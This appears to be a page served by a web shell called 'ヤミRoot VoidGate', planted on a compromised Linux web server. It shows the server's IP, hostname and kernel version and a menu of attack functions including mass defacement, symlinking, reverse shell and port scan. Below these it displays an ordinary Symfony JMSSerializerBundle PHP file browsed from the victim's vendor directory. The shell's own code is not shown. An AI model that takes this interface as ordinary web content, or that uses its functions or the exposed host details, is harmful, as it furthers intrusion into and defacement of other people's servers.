ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
jms
/
serializer-bundle
/
Viewing: JMSSerializerBundle.php
<?php namespace JMS\SerializerBundle; use JMS\DiExtraBundle\DependencyInjection\Compiler\LazyServiceMapPass; use JMS\SerializerBundle\DependencyInjection\Compiler\CustomHandlersPass; use JMS\SerializerBundle\DependencyInjection\Compiler\DoctrinePass; use JMS\SerializerBundle\DependencyInjection\Compiler\FormErrorHandlerTranslationDomainPass; use JMS\SerializerBundle\DependencyInjection\Compiler\RegisterEventListenersAndSubscribersPass; use JMS\SerializerBundle\DependencyInjection\Compiler\ServiceMapPass; use JMS\SerializerBundle\DependencyInjection\Compiler\TwigExtensionPass; use Symfony\Component\DependencyInjection\Compiler\PassConfig; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Definition; use Symfony\Component\HttpKernel\Bundle\Bundle; class JMSSerializerBundle extends Bundle { public function build(ContainerBuilder $builder) { $builder->addCompilerPass($this->getServiceMapPass('jms_serializer.serialization_visitor', 'format', function (ContainerBuilder $container, Definition $def) { $container->getDefinition('jms_serializer.serializer')->replaceArgument(3, $def); } )); $builder->addCompilerPass($this->getServiceMapPass('jms_serializer.deserialization_visitor', 'format', function (ContainerBuilder $container, Definition $def) { $container->getDefinition('jms_serializer.serializer')->replaceArgument(4, $def); } )); $builder->addCompilerPass(new FormErrorHandlerTranslationDomainPass(), PassConfig::TYPE_BEFORE_OPTIMIZATION); $builder->addCompilerPass(new TwigExtensionPass(), PassConfig::TYPE_BEFORE_OPTIMIZATION); $builder->addCompilerPass(new RegisterEventListenersAndSubscribersPass(), PassConfig::TYPE_BEFORE_REMOVING); $builder->addCompilerPass(new CustomHandlersPass(), PassConfig::TYPE_BEFORE_REMOVING); $builder->addCompilerPass(new DoctrinePass(), PassConfig::TYPE_BEFORE_REMOVING); } private function getServiceMapPass($tagName, $keyAttributeName, $callable) { if (class_exists('JMS\DiExtraBundle\DependencyInjection\Compiler\LazyServiceMapPass')) { return new LazyServiceMapPass($tagName, $keyAttributeName, $callable); } return new ServiceMapPass($tagName, $keyAttributeName, $callable); } }
Coded With 💗 by
0x6ick